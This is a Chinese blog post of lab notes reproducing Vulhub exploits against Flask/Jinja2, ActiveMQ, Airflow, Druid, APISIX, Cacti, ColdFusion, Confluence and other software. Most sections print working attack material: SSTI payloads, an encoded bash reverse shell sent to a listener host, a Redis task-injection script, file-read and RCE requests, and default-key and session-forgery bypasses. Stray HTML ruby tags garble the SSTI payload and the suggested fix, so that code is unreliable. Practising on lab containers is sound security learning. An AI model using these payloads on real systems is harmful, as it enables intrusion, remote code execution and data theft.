Loading...  # 环境搭建 原项目地址: [vulhub/vulhub:基于 Docker-Compose 的预构建易受攻击环境 (github.com)](https://github.com/vulhub/vulhub) 在 Ubuntu 22.04 上安装 Docker: ```shell # Install the latest version docker curl -s https://get.docker.com/ | sh # Run docker service systemctl start docker ``` 看作者下面的解释可以知道,自 2022 年 2 月起,作为 Docker Compose V2023 的子命令合并到 Docker 中,Python 版本的 [docker-compose](https://www.docker.com/blog/announcing-compose-v2-general-availability/) 将在 <> 年 <> 月之后弃用。 但是由于我之前在CentOS搭建了老的docker,所以就继续使用,老的docker-compose.其中遇到不少坑,就浅浅的记录一下吧。 [你终于回来了(。・∀・)ノ (cnblogs.com)](https://www.cnblogs.com/technicianafei/p/17387154.html) 查看版本的时候报错解决: [报错:CryptographyDeprecationWarning: Python 3.6 is no longer supported by the Python core team.\_流音寻帆\_jonesky的博客-CSDN博客](https://blog.csdn.net/u011012422/article/details/127853928) # Flask(Jinja2) 服务端模板注入漏洞 [1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 (cnblogs.com)](https://www.cnblogs.com/bmjoker/p/13508538.html) 先看了上面的特别棒的一篇文章才知道SSTI模板注入漏洞是什么。接下来才好有意义能理解的复现。 正常的手段真是啥也看不出来,所以目的是重在知道有这个框架和漏洞 刚一进来,啥也没有  直到输入参数,发现有一个可以改变的模板,我们的{{2*2}}竟然被计算了。  根据上面那篇详细的SSTI教程可以知道payload构造如下, ``` {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} <ruby>b['eval']('__import__("os").popen("id").read()') }} //popen的参数就是要执行的命令 {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %} ``` 成功执行:  甚至安利了一款工具: 这里推荐自动化工具tplmap,拿shell、执行命令、bind\_shell、反弹shell、上传下载文件,Tplmap为SSTI的利用提供了很大的便利 github地址:[https://github.com/epinna/tplmap](https://github.com/epinna/tplmap) 下面我们再去docker看看web源码: ```py from flask import Flask, request from jinja2 import Template app = Flask(__name__) @app.route("/") def index(): name = request.args.get('name', 'guest') t = Template("Hello " + name) return t.render() if __name__ == "__main__": app.run() ``` 修复方式,可以把 `t = Template("Hello " + name) ` `return t.render()` 改成: `t = Template("Hello {{n</rt><rp>) </rp></ruby>") ` `return t.render(n=name)` # ActiveMQ ## CVE-2015-5254 反序列化漏洞 **Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。** **Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。** **参考链接:** * [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) ## 漏洞环境 **运行漏洞环境:** ``` docker compose up -d ``` **环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问**`http://your-ip:8161`即可看到web管理页面,不过这个漏洞理论上是不需要web的。 ## 漏洞复现 **漏洞利用过程如下:** 1. **构造(可以使用ysoserial)可执行命令的序列化对象** 2. **作为一个消息,发送给目标61616端口** 3. **访问web管理页面,读取消息,触发漏洞** **使用**[jmet](https://github.com/matthiaskaiser/jmet)进行漏洞利用。首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。 **jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。** **执行:** `java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.150.130 61616`  此时会给目标ActiveMQ添加一个名为event的队列,我们可以通过`http://your-ip:8161/admin/browse.jsp?JMSDestination=event`看到这个队列中所有消息:  **点击查看这条消息即可触发命令执行,此时进入容器**`sudo docker-compose exec activemq bash`,可见/tmp/success已成功创建,说明漏洞利用成功:  **将命令替换成弹shell语句再利用:** 首先我们这里构造的payload是需要编码的,用的是base64  `java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1MC4xMjgvMTkxMTEgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.150.130 61616`  nc -lvvp 19111监听,还是和上面的那个测试一样,点击查看这条消息即可触发命令执行  ## 任意文件写入漏洞(CVE-2016-3088) 这个有点简单,kali的msf能够直接利用!就暂时不抄一堆了   # Adminer ## SSRF漏洞(CVE-2021-21311)服务端请求伪造 **Adminer是一个PHP编写的开源数据库管理工具,支持MySQL、MariaDB、PostgreSQL、SQLite、MS SQL、Oracle、Elasticsearch、MongoDB等数据库。** **在其4.0.0到4.7.9版本之间,连接 ElasticSearch 和 ClickHouse 数据库时存在一处服务端请求伪造漏洞(SSRF)。** Adminer 4.7.8的PHP服务,**选择ElasticSearch作为系统目标,并在server字段填写**`example.com`,点击登录即可看到`example.com`返回的400错误页面展示在页面中:  我是试了试填写我网站,竟然真有数据返回。。。 ## Adminer远程文件读取(CVE-2021-43008) 在其版本1.12.0到4.6.2之间存在一处因为MySQL LOAD DATA LOCAL导致的文件读取漏洞。 **使用**[mysql-fake-server](https://github.com/4ra1n/mysql-fake-server)启动一个恶意的MySQL服务器。  在Adminer登录页面中填写恶意服务地址和用户名`fileread_/etc/passwd`:  登陆后就会发现读取到的文件`/etc/passwd`已保存至当前目录  还可以使用POC验证: [p0dalirius/CVE-2021-43008-AdminerRead: Exploit tool for CVE-2021-43008 Adminer 1.0 up to 4.6.2 Arbitrary File Read vulnerability (github.com)](https://github.com/p0dalirius/CVE-2021-43008-AdminerRead) # airflow ## 命令注入(CVE-2020-11978) Apache Airflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前的示例DAG中存在一处命令注入漏洞,未授权的访问者可以通过这个漏洞在Worker中执行任意命令。 运行此环境的时候记得一定要先初始化一下数据库 ``` #初始化数据库 sudo docker-compose run airflow-init ``` 在DAGs将`example_trigger_target_dag`前面的Off改为On:  再点击执行按钮,在Configuration JSON中输入:`{"message":"'\";touch /tmp/airflow_dag_success;#"}`,再点`Trigger`执行dag:  稍等几秒刷新就可以看到执行成功  ``` # 到容器中进行查看 sudo docker-compose exec airflow-worker ls -l /tmp ```  ## 中间件命令执行(CVE-2020-11981) 利用这个漏洞需要控制消息中间件,Vulhub环境中Redis存在未授权访问。通过未授权访问,攻击者可以下发自带的任务`airflow.executors.celery_executor.execute_command`来执行任意命令,参数为命令执行中所需要的数组。 我们可以使用[exploit\_airflow\_celery.py](exploit_airflow_celery.py)这个小脚本来执行命令`touch /tmp/airflow_celery_success`: `pip install redis ` `python exploit_airflow_celery.py [your-ip]` ```python import pickle import json import base64 import redis import sys r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0) queue_name = 'default' ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \"W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxiYWNrcyI6IG51bGx9XQ==\"}" task_dict = json.loads(ori_str) command = ['touch', '/tmp/airflow_celery_success'] body=[[command], {}, {"chain": None, "chord": None, "errbacks": None, "callbacks": None}] task_dict['body']=base64.b64encode(json.dumps(body).encode()).decode() print(task_dict) r.lpush(queue_name,json.dumps(task_dict)) ```  查看结果 `sudo docker-compose logs airflow-worker`  ## 默认密钥导致的权限绕过(CVE-2020-17526) 默认情况下,Apache Airflow无需用户认证,但管理员也可以通过指定`webserver.authenticate=True`来开启认证。 在其1.10.13版本及以前,即使开启了认证,攻击者也可以通过一个默认密钥来绕过登录,伪造任意用户。 首先访问登录页面,然后会返回一个签名的session,如下图: `curl -v http://localhost:8080/admin/airflow/login`  **然后,使用**[flask-unsign](https://github.com/Paradoxis/Flask-Unsign)这个工具来爆破签名时使用的`SECRET_KEY`: ``` pip3 install flask-unsign[wordlist] flask-unsign -u -c [session from Cookie] ``` 成功爆破出Key是`temporary_key`。  使用这个key生成一个新的session,其中伪造`user_id`为1: `flask-unsign -s --secret temporary_key -c "{'user_id': '1', '_fresh': False, '_permanent': True}"`  使用cookieEdit工具删除所有的信息,然后只留下session值为上面生成的,保存刷新页面就发现已经登陆成功了。  # apache-druib 代码执行漏洞(CVE-2021-25646) Apache Druid包括执行嵌入在各种类型请求中的用户提供的JavaScript代码的能力。这个功能是为了在可信环境下使用,并且默认是禁用的。然而,在Druid 0.20.0及以前的版本中,攻击者可以通过发送一个恶意请求使Druid用内置引擎执行任意JavaScript代码,而不管服务器配置如何,这将导致代码和命令执行漏洞。 * [https://mp.weixin.qq.com/s/McAoLfyf\_tgFIfGTAoRCiw](https://mp.weixin.qq.com/s/McAoLfyf_tgFIfGTAoRCiw) 直接发送如下请求即可执行其中的JavaScript代码: ```` POST /druid/indexer/v1/sampler HTTP/1.1 Host: your-ip:8888 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Type: application/json { "type":"index", "spec":{ "ioConfig":{ "type":"index", "firehose":{ "type":"local", "baseDir":"/etc", "filter":"passwd" } }, "dataSchema":{ "dataSource":"test", "parser":{ "parseSpec":{ "format":"javascript", "timestampSpec":{ }, "dimensionsSpec":{ }, "function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}", "":{ "enabled":"true" } } } } }, "samplerConfig":{ "numRows":10 } } ```` 抓包:  # apereo-cas Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。 **漏洞原理实际上是Webflow中使用了默认密钥**`changeit` ``` public class EncryptedTranscoder implements Transcoder { private CipherBean cipherBean; private boolean compression = true; public EncryptedTranscoder() throws IOException { BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean(); bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7")); bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore()); bufferedBlockCipherBean.setKeyAlias("aes128"); bufferedBlockCipherBean.setKeyPassword("changeit"); bufferedBlockCipherBean.setNonce(new RBGNonce()); this.setCipherBean(bufferedBlockCipherBean); } // ... ``` **我们使用**[Apereo-CAS-Attack](https://github.com/vulhub/Apereo-CAS-Attack)来复现这个漏洞。使用ysoserial的CommonsCollections4生成加密后的Payload: `java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success"`  **然后我们登录CAS并抓包,将Body中的**`execution`值替换成上面生成的Payload发送: ``` POST /cas/login HTTP/1.1 Host: your-ip Content-Length: 2287 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://your-ip:8080 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://your-ip:8080/cas/login Accept-Encoding: gzip, deflate Accept-Language: en,zh-CN;q=0.9,zh;q=0.8 Cookie: JSESSIONID=24FB4BAAE1A66E8B76D521EE366B3E12; _ga=GA1.1.1139210877.1586367734 Connection: close username=test&password=test<=LT-2-gs2epe7hUYofoq0gI21Cf6WZqMiJyj-cas01.example.org&execution=[payload]&_eventId=submit&submit=LOGIN ```  查看容器内部: # apisix ## 默认密钥漏洞(CVE-2020-13945) Apache APISIX是一个高性能API网关。在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token `edd1c9f034335f136f87ad84b625c8f1`,攻击者利用这个Token可以访问到管理员接口,进而通过`script`参数来插入任意LUA脚本并执行。 利用默认Token增加一个恶意的router,其中包含恶意LUA脚本: ``` POST /apisix/admin/routes HTTP/1.1 Host: your-ip:9080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close X-API-KEY: edd1c9f034335f136f87ad84b625c8f1 Content-Type: application/json Content-Length: 406 { "uri": "/attack", "script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M", "upstream": { "type": "roundrobin", "nodes": { "example.com:80": 1 } } } ``` 访问抓包改包:  然后,我们访问刚才添加的router,就可以通过cmd参数执行任意命令: ``` http://your-ip:9080/attack?cmd=id ```  ## API权限绕过导致RCE(CVE-2021-45232) Apache APISIX是一个动态、实时、高性能API网关,而Apache APISIX Dashboard是一个配套的前端面板。 Apache APISIX Dashboard 2.10.1版本前存在两个API`/apisix/admin/migrate/export`和`/apisix/admin/migrate/import`,他们没有经过`droplet`框架的权限验证,导致未授权的攻击者可以导出、导入当前网关的所有配置项,包括路由、服务、脚本等。攻击者通过导入恶意路由,可以用来让Apache APISIX访问任意网站,甚至执行LUA脚本。 利用`/apisix/admin/migrate/export`和`/apisix/admin/migrate/import`两个Apache APISIX Dashboard提供的未授权API,我们可以简单地导入一个恶意配置文件,其中包含我们构造的LUA脚本:  注意的是,这个配置文件的最后4个字符是当前文件的CRC校验码,所以最好通过自动化工具来生成和发送这个利用数据包,比如[这个POC](https://github.com/wuppp/cve-2021-45232-exp)。  添加完恶意路由后,你需要访问Apache APISIX中对应的路径来触发前面添加的脚本。值得注意的是,Apache APISIX和Apache APISIX Dashboard是两个不同的服务,Apache APISIX Dashboard只是一个管理页面,而添加的路由是位于Apache APISIX中,所以需要找到Apache APISIX监听的端口或域名。 在当前环境下,Apache APISIX监听在9080端口下。我们发送数据包: ``` GET /pfPjLU HTTP/1.1 Host: your-ip:9080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36 Connection: close CMD: id Cache-Control: max-age=0 ```  可见,我们在Header中添加的`CMD`头中的命令已被执行。 这个漏洞是Apache APISIX Dashboard的漏洞,而Apache APISIX无需配置IP白名单或管理API,只要二者连通同一个etcd即可。 # appweb 认证绕过漏洞(CVE-2018-8715) **AppWeb可以进行认证配置,其认证方式包括以下三种:** * **basic 传统HTTP基础认证** * **digest 改进版HTTP基础认证,认证成功后将使用Cookie来保存状态,而不用再传递Authorization头** * **form 表单认证** **其7.0.3之前的版本中,对于digest和form两种认证方式,如果用户传入的密码为**`null`(也就是没有传递密码参数),appweb将因为一个逻辑错误导致直接认证成功,并返回session。 **利用该漏洞需要知道一个已存在的用户名,当前环境下用户名为**`admin`。 **构造头**`Authorization: Digest username=admin`,并发送如下数据包: ``` GET / HTTP/1.1 Host: example.com Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Authorization: Digest username=admin ```  设置这个session到浏览器,即可正常访问需要认证的页面:  # aria2 Aria2是一个命令行下轻量级、多协议、多来源的下载工具(支持 HTTP/HTTPS、FTP、BitTorrent、Metalink),内建XML-RPC和JSON-RPC接口。在有权限的情况下,我们可以使用RPC接口来操作aria2来下载文件,将文件下载至任意目录,造成一个任意文件写入漏洞。 因为rpc通信需要使用json或者xml,不太方便,所以我们可以借助第三方UI来和目标通信,如 [yaaw](http://binux.github.io/yaaw/demo) 。 打开yaaw,点击配置按钮,填入运行aria2的目标域名:`http://your-ip:6800/jsonrpc`:  然后点击Add,增加一个新的下载任务。在Dir的位置填写下载至的目录,File Name处填写文件名。比如,我们通过写入一个crond任务来反弹shell:  这时候,arai2会将恶意文件(我指定的URL)下载到/etc/cron.d/目录下,文件名为shell。而在debian中,/etc/cron.d目录下的所有文件将被作为计划任务配置文件(类似crontab)读取,等待一分钟不到即成功反弹shell:  > **如果反弹不成功,注意crontab文件的格式,以及换行符必须是**`\n`,且文件结尾需要有一个换行符。 **当然,我们也可以尝试写入其他文件,更多利用方法可以参考**[这篇文章](#) [**1**] https://paper.seebug.org/120/ 但是等了很久都没反弹到shell,看人家说是1分钟左右,于是找了下原因,在这篇博客中https://www.cnblogs.com/foe0/p/11353506.html博主就说了大概率是靶场环境不完整导致的。 既然他定时任务动不了,那我自己动手不过分吧。 进去文件夹,给文件赋予权限,运行它   # bash Bash Shellshock 破壳漏洞(CVE-2014-6271) 服务启动后,有两个页面`http://your-ip:8080/victim.cgi`和`http://your-ip:8080/safe.cgi`。其中safe.cgi是最新版bash生成的页面,victim.cgi是bash4.3生成的页面。 将payload附在User-Agent中访问victim.cgi: ``` User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id ```  同样的数据包访问safe.cgi,不受影响:  # cacti 前台命令注入漏洞(CVE-2022-46169) Cacti是一个服务器监控与管理平台。在其1.2.17-1.2.22版本中存在一处命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。 [Cacti命令执行(CVE-2022-46169)漏洞分析 (qq.com)](https://mp.weixin.qq.com/s/6crwl8ggMkiHdeTtTApv3A) 环境启动后,访问`http://your-ip:8080`会跳转到登录页面。使用admin/admin作为账号密码登录,并根据页面中的提示进行初始化。 实际上初始化的过程就是不断点击“下一步”,直到安装成功:  这个漏洞的利用需要Cacti应用中至少存在一个类似是`POLLER_ACTION_SCRIPT_PHP`的采集器。所以,我们在Cacti后台首页创建一个新的Graph:  选择的Graph Type是“Device - Uptime”,点击创建:  完成上述初始化后,我们切换到攻击者的角色。作为攻击者,发送如下数据包: ``` GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1 X-Forwarded-For: 127.0.0.1 Host: localhost.lan User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 ```  虽然响应包里没有回显,但是进入容器中即可发现`tmp/success`已成功被创建  # celery Celery 是一个简单、灵活且可靠的分布式系统,用于处理大量消息,同时为操作提供维护此类系统所需的工具。它是一个专注于实时处理的任务队列,同时也支持任务调度。 在Celery < 4.0版本默认使用Pickle进行任务消息的序列化传递,当所用队列服务(比如Redis、RabbitMQ、RocketMQ等等等)存在未授权访问问题时,可利用Pickle反序列化漏洞执行任意代码。 漏洞利用脚本`exploit.py`仅支持在python3下使用 ``` pip install redis python exploit.py [主机IP] ``` ``` # 查看日志: sudo docker-compose logs celery # 查看已经创建成功的文件 sudo docker-compose exec celery ls -l /tmp ``` 可以看到成功创建了文件`celery_success` (这里挖个坑,因为不知道为啥docker没有启动成功redis,而且依赖expolit.py所以不好复现) # cgi 根据RFC 3875规定,CGI(fastcgi)要将用户传入的所有HTTP头都加上`HTTP_`前缀放入环境变量中,而恰好大多数类库约定俗成会提取环境变量中的`HTTP_PROXY`值作为HTTP代理地址。于是,恶意用户通过提交`Proxy: http://evil.com`这样的HTTP头,将使用缺陷类库的网站的代理设置为`http://evil.com`,进而窃取数据包中可能存在的敏感信息。 PHP5.6.24版本修复了该漏洞,不会再将`Proxy`放入环境变量中。本环境使用PHP 5.6.23为例。 当然,该漏洞不止影响PHP,所有以CGI或Fastcgi运行的程序理论上都受到影响。CVE-2016-5385是PHP的CVE,HTTPoxy所有的CVE编号如下: * **CVE-2016-5385: PHP** * **CVE-2016-5386: Go** * **CVE-2016-5387: Apache HTTP Server** * **CVE-2016-5388: Apache Tomcat** * **CVE-2016-6286: spiffy-cgi-handlers for CHICKEN** * **CVE-2016-6287: CHICKEN’s http-client** * **CVE-2016-1000104: mod\_fcgi** * **CVE-2016-1000105: Nginx cgi script** * **CVE-2016-1000107: Erlang inets** * **CVE-2016-1000108: YAWS** * **CVE-2016-1000109: HHVM FastCGI** * **CVE-2016-1000110: Python CGIHandler** * **CVE-2016-1000111: Python Twisted** * **CVE-2016-1000212: lighttpd** **正常请求**`http://your-ip:8080/index.php`,可见其Origin为当前请求的服务器,二者IP相等:  在其他地方启动一个可以正常使用的http代理,如`http://*.*.150.128:1080/`。 附带`Proxy: http://*.*.150.128:1080/`头,再次访问`http://your-ip:8080/index.php`:  如上图,可见此时的Origin已经变成`*.*.150.128`,也就是说真正进行HTTP访问的服务器是`*.*.150.128`,也就是说`*.*.150.128`已经将正常的HTTP请求代理了。 在`*.*.150.128`上使用NC,就可以捕获当前请求的数据包,其中可能包含敏感数据:  # coldfusion ## Adobe ColdFusion 文件读取漏洞(CVE-2010-2861) Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品,其运行的CFML(ColdFusion Markup Language)是针对Web应用的一种程序设计语言。 Adobe ColdFusion 8、9版本中存在一处目录穿越漏洞,可导致未授权的用户读取服务器任意文件。 访问`http://your-ip:8500/CFIDE/administrator/enter.cfm`,可以看到初始化页面,输入密码`admin`,开始初始化整个环境。  直接访问`http://your-ip:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../etc/passwd%00en`,即可读取文件`/etc/passwd`:  **读取后台管理员密码**`http://your-ip:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en`:  相应包记得往下划划看,我说怎么一直看不到哈哈哈哈。 ## 反序列化漏洞(CVE-2017-3066) Adobe ColdFusion中存在java反序列化漏洞。攻击者可利用该漏洞在受影响应用程序的上下文中执行任意代码或造成拒绝服务。以下版本受到影响:Adobe ColdFusion (2016 release) Update 3及之前的版本,ColdFusion 11 Update 11及之前的版本,ColdFusion 10 Update 22及之前的版本。 访问`http://your-ip:8500/CFIDE/administrator/index.cfm`,输入密码`vulhub`,即可成功安装Adobe ColdFusion。 我们使用[ColdFusionPwn](https://github.com/codewhitesec/ColdFusionPwn)工具来生成POC: `java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-0.0.6-SNAPSHOT-all.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'touch /tmp/success' poc.ser` 我复现的时候java报错,烦死了 POC生成于poc.ser文件中,将POC作为数据包body发送给`http://your-ip:8500/flex2gateway/amf`,Content-Type为application/x-amf: ``` POST /flex2gateway/amf HTTP/1.1 Host: your-ip:8500 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-amf Content-Length: 2853 [...poc...] ```  进入容器中,发现`/tmp/success`已成功创建: 将POC改成反弹命令,成功拿到shell. # Confluence ## 路径穿越与命令执行漏洞(CVE-2019-3396) 环境启动后,访问`http://your-ip:8090`会进入安装引导,选择“Trial installation”,之后会要求填写license key。点击“Get an evaluation license”,去Atlassian官方申请一个Confluence Server的测试证书:  然后点击Next安装即可。这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待 如果提示填写cluster node,路径填写`/home/confluence`即可:  后续可能要求你填写数据库账号密码,选择postgres数据库,地址为`db`,账号密码均为`postgres`:  发送如下数据包就可以读取web.xml文件 ``` POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: localhost:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23& Content-Type: application/json; charset=utf-8 Content-Length: 176 {"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}} ``` 6.12以前的Confluence没有限制文件读取的协议和路径,我们可以使用`file:///etc/passwd`来读取文件,也可以通过`https://...`来加载远程文件。 该文件是一个Velocity模板,我们可以通过模板注入(SSTI)来执行任意命令:  最后修改:2024 年 12 月 14 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 3 如果觉得我的文章对你有用,请随意赞赏